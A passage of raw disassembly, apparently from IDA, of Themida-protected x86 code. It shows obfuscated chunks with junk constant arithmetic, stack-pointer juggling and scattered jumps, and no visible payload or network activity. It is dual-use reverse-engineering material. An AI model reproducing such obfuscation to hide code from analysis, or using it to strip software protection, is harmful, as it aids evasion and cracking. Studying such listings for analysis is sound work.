loc_5546F0 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55E640 proc near ; CODE XREF: sub_559C84-259Bj ; FUNCTION CHUNK AT 005552A1 SIZE 00000029 BYTES push ebx push edi push ecx mov ecx, 6E452CFBh or ecx, 285E61DCh jmp loc_5552A1 sub_55E640 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E653: ; CODE XREF: sub_559C84-1152j and [edi+1Ch], ebp jmp loc_55917C ; --------------------------------------------------------------------------- loc_55E65B: ; CODE XREF: sub_559C84+2328j pop edx add bl, al pop eax sub esp, 4 mov [esp-4+arg_0], edx mov dl, 4 and dl, 0C9h add dl, 16h jmp loc_55E326 ; --------------------------------------------------------------------------- loc_55E675: ; CODE XREF: sub_559C84+3832j push eax mov eax, esp add eax, 4 push esi mov esi, 15BA67E9h add esi, 0EA45981Bh add eax, 3660789Bh add eax, esi push ebx mov ebx, 0ADA377Bh add ebx, 29AA1C7Ch or ebx, 771659FFh xor ebx, 41F62364h sub eax, ebx pop ebx pop esi xor eax, [esp+48h+var_4A+2] xor [esp+48h+var_4A+2], eax jmp loc_554CE2 ; --------------------------------------------------------------------------- loc_55E6B7: ; CODE XREF: sub_559C84-5CE2j add bl, ah pop eax movzx eax, al mov dx, [esp+0] jmp loc_557408 ; --------------------------------------------------------------------------- loc_55E6C6: ; CODE XREF: sub_559C84+438Bj add ecx, 0AEFDFAF1h add esi, ecx pop ecx push esi push [esp+62h+var_60+2] mov esi, [esp+0] add esp, 4 pop [esp+62h+var_64+2] mov esp, [esp+5Eh+var_60+2] inc byte ptr [esp+5Eh+var_60+2] pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55E6EC: ; CODE XREF: sub_559C84-4F96j mov edx, 79F75694h dec edx push edi mov edi, 41C53A6Ch sub edi, 4BC94ECBh shl edi, 6 inc edi neg edi and edi, 2AE67C48h add edi, 762E15ECh jmp loc_55888A ; --------------------------------------------------------------------------- loc_55E715: ; CODE XREF: sub_559C84+393Dj push [esp+14h+var_10] mov eax, [esp+18h+var_18] add esp, 4 pop [esp+14h+var_14] pop esp mov cx, word ptr [esp+0Ch+var_C] jmp loc_558426 ; --------------------------------------------------------------------------- loc_55E72F: ; CODE XREF: sub_559C84-5885j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-14h+arg_10] mov esp, [esp-14h+arg_10] push edx mov edx, 2 add esi, edx pop edx jmp loc_55BF1B ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55E751: ; CODE XREF: Themida_:0055489Bj and edi, 3AD915B0h add edi, 0CDFFEB84h add edx, edi mov edi, [esp] jmp loc_554DD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E767: ; CODE XREF: sub_559C84-6131j push esi mov esi, 0F33BF5h mov ebp, 33F59DCh sub ebp, esi pop esi or ecx, ebp pop ebp add ecx, 2AD27B0Dh jmp loc_5596E6 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555531 loc_55E783: ; CODE XREF: sub_555531-1BB1j mov ecx, ebx jmp loc_55C0AA ; END OF FUNCTION CHUNK FOR sub_555531 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E78A: ; CODE XREF: sub_559C84+4FF3j xor dl, 39h and dl, 25h sub dl, 33h xor dl, 0C3h mov cl, dl pop edx jmp loc_55F4DD ; --------------------------------------------------------------------------- loc_55E79E: ; CODE XREF: sub_559C84+17D9j sub ch, 0FFh shl ch, 8 jmp loc_55945F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5561B6 loc_55E7A9: ; CODE XREF: sub_5561B6+25F2j pop ebx pop edi xchg ebp, [esp+4+var_4] mov esp, [esp+4+var_4] push dword ptr [eax] jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_5561B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E7B8: ; CODE XREF: sub_559C84+1E7Cj pop eax xor ecx, edi jmp loc_555193 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554D6A loc_55E7C0: ; CODE XREF: sub_554D6A+ADD4j mov [esp+0], esi push 4461h mov [esp+4+var_4], edx mov edx, 6B3E1249h mov esi, 6B3E124Dh xor esi, edx push [esp+4+var_4] pop edx jmp loc_55D418 ; END OF FUNCTION CHUNK FOR sub_554D6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E7E0: ; CODE XREF: sub_559C84+D45j add ebx, ecx jmp loc_5590DD ; --------------------------------------------------------------------------- loc_55E7E7: ; CODE XREF: sub_559C84+37B7j mov edi, [esp+40h+var_42+2] add esp, 4 sub eax, 2BA3FD44h mov edx, eax mov eax, [esp+3Ch+var_3E+2] push edi jmp loc_55379E ; --------------------------------------------------------------------------- loc_55E7FD: ; CODE XREF: sub_559C84+4560j pop ebp add esp, 4 jmp loc_5555E6 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55E806: ; CODE XREF: Themida_:0055E903j add edx, 2 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_55A68D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E826: ; CODE XREF: sub_559C84-298Fj not ecx jmp loc_556390 ; --------------------------------------------------------------------------- loc_55E82D: ; CODE XREF: sub_559C84+3CEEj sub cl, 0FFh push ebx jmp loc_55D6A4 ; --------------------------------------------------------------------------- loc_55E836: ; CODE XREF: sub_559C84-617j mov ebx, ecx pop ecx add ebx, 7C284E3Ch add ebx, eax sub ebx, 7C284E3Ch push ebp jmp loc_559E55 ; --------------------------------------------------------------------------- loc_55E84D: ; CODE XREF: sub_559C84+4E12j mov ebp, 4 add [esp-2+arg_0+2], 7487350Fh add [esp-2+arg_0+2], ebp sub [esp-2+arg_0+2], 7487350Fh pop ebp push [esp-6+arg_0+2] pop edi add esp, 4 push ecx mov ecx, 2BC06F57h jmp loc_55D2B4 ; --------------------------------------------------------------------------- loc_55E87C: ; CODE XREF: sub_559C84-5583j sub edi, 79D8D0BCh xor ebx, edi pop edi xor eax, ebx mov ebx, [esp+38h+var_3A+2] push ebp jmp loc_55D3C8 ; --------------------------------------------------------------------------- loc_55E890: ; CODE XREF: sub_559C84-4054j mov edi, [esp+0] add esp, 4 add eax, 2 jmp loc_554C40 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5559F0 loc_55E89E: ; CODE XREF: sub_5559F0+18B3j mov ebx, esi pop esi jmp loc_55A48C ; END OF FUNCTION CHUNK FOR sub_5559F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E8A6: ; CODE XREF: sub_559C84-3AE9j add esi, 4 push ebp mov ebp, 4 sub esi, ebp pop ebp xchg esi, [esp+44h+var_46+2] pop esp mov [esp+40h+var_42+2], ebp push esi mov esi, 48FA3766h and esi, 4E516429h not esi jmp loc_559754 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov cx, [esp] push 507Ah mov [esp], edx mov edx, esp push ebx push 2484h mov [esp], edx mov edx, 23931B7Ah shr edx, 8 add edx, 0FFDC6CE9h mov ebx, edx pop edx add edx, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_55E806 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E908: ; CODE XREF: sub_559C84-4222j push 37DA3379h pop eax push edi mov edi, 6EB96274h sub eax, edi jmp loc_556651 ; --------------------------------------------------------------------------- loc_55E91B: ; CODE XREF: sub_559C84-738j mov [esp+3Eh+var_3E], eax push esi jmp loc_556738 ; --------------------------------------------------------------------------- loc_55E924: ; CODE XREF: sub_559C84+32ACj and ecx, eax push dword ptr [esp+0] push [esp+58h+var_58] jmp loc_55837A ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_55564F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E940: ; CODE XREF: sub_559C84-52Aj or esi, 7E4F679Bh xor esi, 0FF4FEF9Dh jmp loc_553FBD ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55E951: ; CODE XREF: Themida_:00554756j mov ebx, 44F28E4h shr ebx, 4 add ebx, 76FC7CD0h sub ebx, 24542F1Eh mov eax, ebx jmp loc_55D5E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E96C: ; CODE XREF: sub_559C84-28C4j mov cl, dh pop edx xor cl, ah pop eax jmp loc_55D862 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55EB5B loc_55E977: ; CODE XREF: sub_55EB5B+9j pop bx add ax, si jmp loc_553C40 ; END OF FUNCTION CHUNK FOR sub_55EB5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E981: ; CODE XREF: sub_559C84-64DEj add edi, 4 jmp loc_554AE8 ; --------------------------------------------------------------------------- loc_55E98C: ; CODE XREF: sub_559C84-6610j add esi, 4 xchg esi, [esp+16h+var_18+2] pop esp sub ebx, 5C982534h add ebx, edx add ebx, 5C982534h pop edx push eax jmp loc_55BEB4 ; --------------------------------------------------------------------------- loc_55E9A8: ; CODE XREF: sub_559C84-5BEDj mov eax, [esp+0] add esp, 4 jmp loc_55E091 ; --------------------------------------------------------------------------- loc_55E9B3: ; CODE XREF: sub_559C84-2170j neg ebp and ebp, 73727B41h add ebp, 8CFDA503h add esi, ebp pop ebp xchg esi, [esp+4Ah+var_4A] mov esp, [esp+4Ah+var_4A] push [esp+4Ah+var_4A] pop ecx sub esp, 4 mov [esp+4Eh+var_4E], esi jmp loc_55D7B7 ; --------------------------------------------------------------------------- loc_55E9D9: ; CODE XREF: sub_559C84+5DBj mov ebx, [esp+24h+var_24] add esp, 4 jmp loc_558D56 ; --------------------------------------------------------------------------- loc_55E9E4: ; CODE XREF: sub_559C84-5D96j mov ecx, [esp+2+var_4+2] push ecx jmp loc_55830B ; --------------------------------------------------------------------------- loc_55E9ED: ; CODE XREF: sub_559C84+2A3Fj pop ebx add ebx, 55307D7Ch pop eax add [esp+50h+var_4E+2], ebx pop ebx push [esp+4Ch+var_4E+2] mov edx, [esp+50h+var_52+2] add esp, 4 jmp sub_557A15 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55EA08: ; CODE XREF: Themida_:005599B9j push edi jmp loc_55EA77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EA0E: ; CODE XREF: sub_559C84+48B4j add eax, 4 jmp loc_55D175 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55EA18: ; CODE XREF: Themida_:005556ACj push ebx jmp loc_55B458 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EA1E: ; CODE XREF: sub_559C84-59BCj mov ebp, 465BCFh neg ebp neg ebp xor ebp, 521A622Fh add ebp, 0ADA3C624h add ecx, ebp pop ebp xchg ecx, [esp-18h+arg_14] pop esp sub ecx, 7D674C2Ch jmp loc_5540C1 ; --------------------------------------------------------------------------- loc_55EA45: ; CODE XREF: sub_559C84-1BDEj push 6BFAh mov [esp+50h+var_52+2], esi jmp loc_55C259 ; --------------------------------------------------------------------------- loc_55EA52: ; CODE XREF: sub_559C84-3821j pop edi add eax, 616D2830h add eax, esi sub eax, 616D2830h pop esi xchg eax, [esp+4Ah+var_4A] pop esp jmp loc_553D36 ; --------------------------------------------------------------------------- loc_55EA69: ; CODE XREF: sub_559C84-5F97j and eax, edx push [esp+14h+var_14] pop edx add esp, 4 jmp loc_558C33 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55EA77: ; CODE XREF: Themida_:0055EA09j mov edi, 17184F29h mov edx, edi jmp loc_55D32B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EA83: ; CODE XREF: sub_559C84+6CFj push 2B24h mov [esp+42h+var_42], edi sub esp, 4 push esp pop [esp+4Ah+var_4A] push ebp jmp loc_55E84D ; --------------------------------------------------------------------------- loc_55EA9B: ; CODE XREF: sub_559C84+5A01j push 125Fh mov [esp+4Eh+var_4E], ecx jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558BA2 loc_55EAA8: ; CODE XREF: sub_558BA2-134Bj push edi mov edi, 76FA6311h jmp loc_553AC8 ; END OF FUNCTION CHUNK FOR sub_558BA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EAB3: ; CODE XREF: sub_559C84-20F0j add edx, edi pop edi xor edx, [esp+62h+var_64+2] jmp loc_55BD8E ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558D95 loc_55EABE: ; CODE XREF: sub_558D95-4DC1j mov [esp+0], bx mov bh, 79h add al, bh mov bx, [esp+0] push ecx mov ecx, esp add ecx, 4 add ecx, 2 jmp loc_55B5FC ; END OF FUNCTION CHUNK FOR sub_558D95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EADE: ; CODE XREF: sub_559C84+3CA8j mov [esp+4Ah+var_4A], ebp mov ebp, esp push eax jmp loc_5535D7 ; --------------------------------------------------------------------------- loc_55EAE9: ; CODE XREF: sub_559C84+5E4Fj add ebx, eax sub ebx, 59A71D84h add ebx, 2D494D1Eh push edx mov edx, 5F932714h push edi jmp loc_557775 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55EB03: ; CODE XREF: Themida_:0055F4D8j push ebx mov ebx, 0 sub ebx, edi xchg ebx, edi pop ebx jmp loc_558181 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EB13: ; CODE XREF: sub_559C84+18E1j mov si, 2B66h xor bx, si jmp loc_55F2BB ; --------------------------------------------------------------------------- loc_55EB1F: ; CODE XREF: sub_559C84-5B06j sub ebx, 387D46E3h pop esi xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] pop esp jmp loc_55FB4E ; --------------------------------------------------------------------------- loc_55EB35: ; CODE XREF: sub_559C84+3BD9j push edx mov edx, 65E24E25h not edx sub edx, 7165774h and edx, 44180B28h neg edx jmp loc_55E44E ; --------------------------------------------------------------------------- loc_55EB50: ; CODE XREF: sub_559C84-3A65j add ebp, 4 jmp loc_557C20 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55EB5B proc near ; CODE XREF: sub_559C84+146Ej ; FUNCTION CHUNK AT 00553C40 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055E977 SIZE 0000000A BYTES push bx mov bx, 76F5h add ax, bx jmp loc_55E977 sub_55EB5B endp ; sp-analysis failed ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push ecx mov ecx, esp push ebx jmp loc_55383C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EB76: ; CODE XREF: sub_559C84+5730j mov edi, 8CA4862h shl edi, 5 jmp loc_55F2F5 ; --------------------------------------------------------------------------- loc_55EB83: ; CODE XREF: sub_559C84-549Aj add cl, 0B2h mov ah, cl pop ecx push edx mov dh, 4Eh add ah, dh pop edx push ecx mov ch, 0CDh jmp loc_55A212 ; --------------------------------------------------------------------------- loc_55EB97: ; CODE XREF: sub_559C84-894j add al, 0DBh pop ecx mov bx, [esp+0] add esp, 2 push 0A67h mov [esp+0], ecx push edx mov dl, 0DAh jmp loc_558950 ; --------------------------------------------------------------------------- loc_55EBB4: ; CODE XREF: sub_559C84-8F4j mov eax, 70B7229h shl eax, 3 and eax, 76045AC1h jmp loc_553D9B ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- lodsb xor al, bl push 499Ch jmp loc_557BCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EBD3: ; CODE XREF: sub_559C84-4CEBj add eax, 4 add eax, 4 xchg eax, [esp+52h+var_52] jmp loc_55B93B ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554572 loc_55EBE5: ; CODE XREF: sub_554572+43CCj inc ecx xor ecx, 7F9609F2h dec ecx dec ecx push edx mov edx, 42CF07D8h shl edx, 7 xor edx, 716D41D0h jmp loc_55B6B2 ; END OF FUNCTION CHUNK FOR sub_554572 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EC02: ; CODE XREF: sub_559C84+9C0j add [esp+4Ch+var_4E+2], 4 pop edi add edi, 4 push edx push 2 pop edx sub edi, edx jmp loc_55A3B5 ; --------------------------------------------------------------------------- loc_55EC1E: ; CODE XREF: sub_559C84+290Cj mov [esp+4Ch+var_4E+2], edx push [esp+4Ch+var_4A+2] mov edx, [esp+50h+var_52+2] add esp, 4 pop [esp+4Ch+var_4E+2] mov esp, [esp+48h+var_4A+2] jmp loc_55A41C ; --------------------------------------------------------------------------- loc_55EC36: ; CODE XREF: sub_559C84+3266j mov ebx, esi jmp loc_55BA20 ; --------------------------------------------------------------------------- loc_55EC3D: ; CODE XREF: sub_559C84-46A9j pop esi push esi mov esi, esp push ebp mov ebp, 4 add esi, ebp pop ebp add esi, 4 xchg esi, [esp+42h+var_42] jmp loc_55D884 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55ED81 loc_55EC55: ; CODE XREF: sub_55ED81+27j mov edx, [esp+4+var_4] add esp, 4 add edx, 4 jmp sub_556F29 ; END OF FUNCTION CHUNK FOR sub_55ED81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EC66: ; CODE XREF: sub_559C84-63AAj shl bh, 1 xor bh, 0C7h add bh, 51h add cl, bh jmp loc_5568F7 ; --------------------------------------------------------------------------- loc_55EC75: ; CODE XREF: sub_559C84-1331j dec dl jmp loc_55E78A ; --------------------------------------------------------------------------- loc_55EC7C: ; CODE XREF: sub_559C84+499Cj push edx jmp loc_55CE28 ; --------------------------------------------------------------------------- loc_55EC82: ; CODE XREF: sub_559C84-5B2Fj mov esp, [esp+4+var_4] movzx ax, byte ptr [eax] push small 63E0h mov word ptr [esp+6+var_8+2], ax jmp loc_55B3D1 ; --------------------------------------------------------------------------- loc_55EC96: ; CODE XREF: sub_559C84+276Bj add esp, 4 not eax add eax, 980C40CDh sub [edi+24h], eax pop eax loc_55ECA4: ; CODE XREF: sub_559C84-C9Ej push ecx jmp loc_55504B ; --------------------------------------------------------------------------- loc_55ECAA: ; CODE XREF: sub_559C84-3A4j neg ecx sub ecx, 0FFFFFFFFh or ecx, 9F301AEh jmp loc_55CC3B ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553D58 loc_55ECBD: ; CODE XREF: sub_553D58+3404j add al, 0B7h add al, 9Eh push dword ptr [esp+0] mov ecx, [esp+4+var_4] jmp loc_55A1A8 ; END OF FUNCTION CHUNK FOR sub_553D58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555BE3 loc_55ECCC: ; CODE XREF: sub_555BE3+76Fj mov edi, [esp+0] push ecx mov ecx, esp add ecx, 4 push edi mov edi, 4 add ecx, 0DD96B86h jmp loc_557782 ; END OF FUNCTION CHUNK FOR sub_555BE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554572 loc_55ECE9: ; CODE XREF: sub_554572+6j mov edx, ebx pop ebx add edi, edx pop edx push 57Eh mov [esp+0], edi push [esp+arg_0] jmp loc_554835 ; END OF FUNCTION CHUNK FOR sub_554572 ; --------------------------------------------------------------------------- loc_55ED00: ; DATA XREF: Themida_:00553424o lodsd xor eax, ebx push esi mov esi, 62826F6Fh xor esi, 653040D7h add esi, 622A582Bh push ebx mov ebx, 7E9629E6h push ebx not dword ptr [esp] pop ebx push edi mov edi, 0DCEABCB9h xor ebx, edi jmp loc_55F1D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55ED2D: ; CODE XREF: sub_559C84-5A0Ej pop esp jmp loc_55DC3A ; --------------------------------------------------------------------------- loc_55ED33: ; CODE XREF: sub_559C84-166Bj xor eax, ecx pop ecx jmp loc_55357C ; --------------------------------------------------------------------------- loc_55ED3B: ; CODE XREF: sub_559C84+DDBj xor ebx, 0C2D144BEh jmp loc_55CA8D ; --------------------------------------------------------------------------- loc_55ED46: ; CODE XREF: sub_559C84-2DECj add al, 67h sub al, bl push ecx push ebx mov bl, 67h jmp loc_5584CC ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55ED53: ; CODE XREF: Themida_:0055E5A6j mov esi, 4CD736AAh mov ebp, esi pop esi sub ecx, ebp pop ebp add ecx, 40746B2Fh add ecx, ebp push esi mov esi, 449D11E6h inc esi jmp loc_557898 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55ED72: ; CODE XREF: sub_559C84+1946j mov [esp+60h+var_60], eax mov eax, 4 mov ecx, eax jmp loc_5587CC ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_55ED81 proc near ; CODE XREF: sub_559C84-1FE2j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055EC55 SIZE 00000011 BYTES push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] pop esp push dword ptr [esp+0] pop eax push edx push 19C2h mov [esp+4+var_4], esp add [esp+4+var_4], 4 jmp loc_55EC55 sub_55ED81 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EDAD: ; CODE XREF: sub_559C84+3ABj add al, dh jmp loc_553663 ; --------------------------------------------------------------------------- loc_55EDB4: ; CODE XREF: sub_559C84-1A25j mov edx, [esp+48h+var_4A+2] add esp, 4 sub [esp+44h+var_42+2], ecx pop ecx sub [esp+40h+var_42+2], 2E900F06h jmp loc_554D80 ; --------------------------------------------------------------------------- loc_55EDCB: ; CODE XREF: sub_559C84-616Ej mov bh, ch jmp loc_55A411 ; --------------------------------------------------------------------------- loc_55EDD2: ; CODE XREF: sub_559C84-127Cj add eax, 4 xchg eax, [esp+10h+var_10] jmp loc_55918A ; --------------------------------------------------------------------------- loc_55EDDF: ; CODE XREF: sub_559C84+47D0j add edx, 6A14D4F9h add esi, edx pop edx add ebp, esi pop esi jmp loc_55C1CF ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 push edx jmp loc_55A336 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EE06: ; CODE XREF: sub_559C84+2CDEj and [edi+1Ch], ebp push [esp+0Ch+var_C] pop ebp add esp, 4 jmp loc_55A0DD ; --------------------------------------------------------------------------- loc_55EE15: ; CODE XREF: sub_559C84-47C6j mov edx, 57B96AADh xor edx, 4FE855D4h add edx, 1DDD232Bh jmp sub_55F673 ; --------------------------------------------------------------------------- loc_55EE2B: ; CODE XREF: sub_559C84-4B0Aj add edi, ecx pop ecx jmp loc_556645 ; --------------------------------------------------------------------------- loc_55EE33: ; CODE XREF: sub_559C84+3A82j push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_55F580 ; --------------------------------------------------------------------------- loc_55EE47: ; CODE XREF: sub_559C84+C8Dj push edi mov edi, 6674069Ch jmp loc_55780C ; --------------------------------------------------------------------------- loc_55EE52: ; CODE XREF: sub_559C84-4776j pop cx shr dh, 5 push ecx mov cl, 0E3h shl cl, 4 add cl, 9Bh xor dh, cl pop ecx jmp loc_556C89 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55EE68: ; DATA XREF: Themida_:00553428o pop dword ptr [edx] jmp loc_55351F ; --------------------------------------------------------------------------- loc_55EE6F: ; CODE XREF: Themida_:005588DEj xor ebx, edi pop edi push eax mov eax, 7BBD4B82h neg eax inc eax add eax, 7E0C9D40h sub ebx, eax jmp loc_55C00C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EE87: ; CODE XREF: sub_559C84+26CDj pop esi jmp loc_55B4B1 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55EE8D: ; CODE XREF: Themida_:0055FC61j xchg esi, [esp] mov esp, [esp] mov fs:[edx], ax jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EE9C: ; CODE XREF: sub_559C84-62ABj pop ecx jmp loc_55BA35 ; --------------------------------------------------------------------------- loc_55EEA2: ; CODE XREF: sub_559C84-46E2j pop ebp and eax, edx pop edx shr eax, 12h jmp loc_55CFA9 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5589C1 loc_55EEAE: ; CODE XREF: sub_5589C1+17Fj sub ebp, 0B2274137h push eax mov eax, 74B0A43h xchg eax, ebx not ebx xchg eax, ebx add eax, 5F9D6971h add esi, eax pop eax sub esi, ebp push 5B2Bh mov [esp+8+var_8], eax mov eax, 58525F2Dh sub esi, eax jmp loc_55D3E3 ; END OF FUNCTION CHUNK FOR sub_5589C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557920 loc_55EEDC: ; CODE XREF: sub_557920+E0Aj neg ebx jmp loc_55ABB9 ; END OF FUNCTION CHUNK FOR sub_557920 ; --------------------------------------------------------------------------- loc_55EEE3: ; CODE XREF: Themida_:0055974Fj push 219Ch mov [esp], ebx push esp pop ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_558E3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EF01: ; CODE XREF: sub_559C84-1DCAj add ecx, 211806C7h shr ecx, 7 sub ecx, 562EA333h mov eax, ecx pop ecx mov edi, eax pop eax sub ebx, 20FA0BCDh sub ebx, edi add ebx, 20FA0BCDh pop edi and eax, ebx push [esp-16h+arg_10+2] push [esp-12h+arg_C+2] jmp loc_55AC29 ; --------------------------------------------------------------------------- loc_55EF32: ; CODE XREF: sub_559C84-31A2j sub ecx, 3A6060CAh pop edi sub ecx, 4 xchg ecx, [esp+5Eh+var_60+2] jmp loc_55FAD8 ; --------------------------------------------------------------------------- loc_55EF44: ; CODE XREF: sub_559C84+32CCj pop ecx mov [edi+eax*4+1], bl push [esp+58h+var_58] pop ebx push eax push esp pop eax add eax, 4 jmp loc_55B5C3 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55EF5A: ; CODE XREF: Themida_:00556514j add esp, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edx mov edx, esp add edx, 4 add edx, 4 sub esp, 4 jmp loc_556E60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EF7F: ; CODE XREF: sub_559C84-6526j push 4 jmp loc_55A556 ; --------------------------------------------------------------------------- loc_55EF89: ; CODE XREF: sub_559C84+1E02j pop esp xor [esp-1Ah+arg_14+2], eax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55EF93: ; CODE XREF: sub_559C84+1AE3j mov esp, [esp+3Ch+var_3E+2] mov cx, word ptr [esp+3Ch+var_3E+2] push edx mov edx, esp jmp loc_55B3D6 ; --------------------------------------------------------------------------- loc_55EFA2: ; CODE XREF: sub_559C84+31D4j add edx, 1 xor edx, 1AD80D17h push ebx mov ebx, 6F9F16FFh or edx, ebx pop ebx push ecx mov ecx, 6133575Dh xor edx, ecx jmp loc_554E1B ; --------------------------------------------------------------------------- loc_55EFC4: ; CODE XREF: sub_559C84-43BCj push esp mov eax, [esp+0Ch+var_C] add esp, 4 jmp loc_553A60 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E1F9 loc_55EFD0: ; CODE XREF: sub_55E1F9-4B9Dj shl ebp, 4 add ebp, 0E5026712h sub ecx, 1F501FF0h sub ecx, ebp jmp loc_55BFB9 ; END OF FUNCTION CHUNK FOR sub_55E1F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55EFE6: ; CODE XREF: sub_559C84-1A18j sub dh, al pop eax sub dh, 20h jmp loc_557F8B ; --------------------------------------------------------------------------- loc_55EFF1: ; CODE XREF: sub_559C84+416Dj pop edx or edi, 6B927D83h xor edi, 6BC66F7Bh shl edi, 4 add edi, 0E2611BFEh 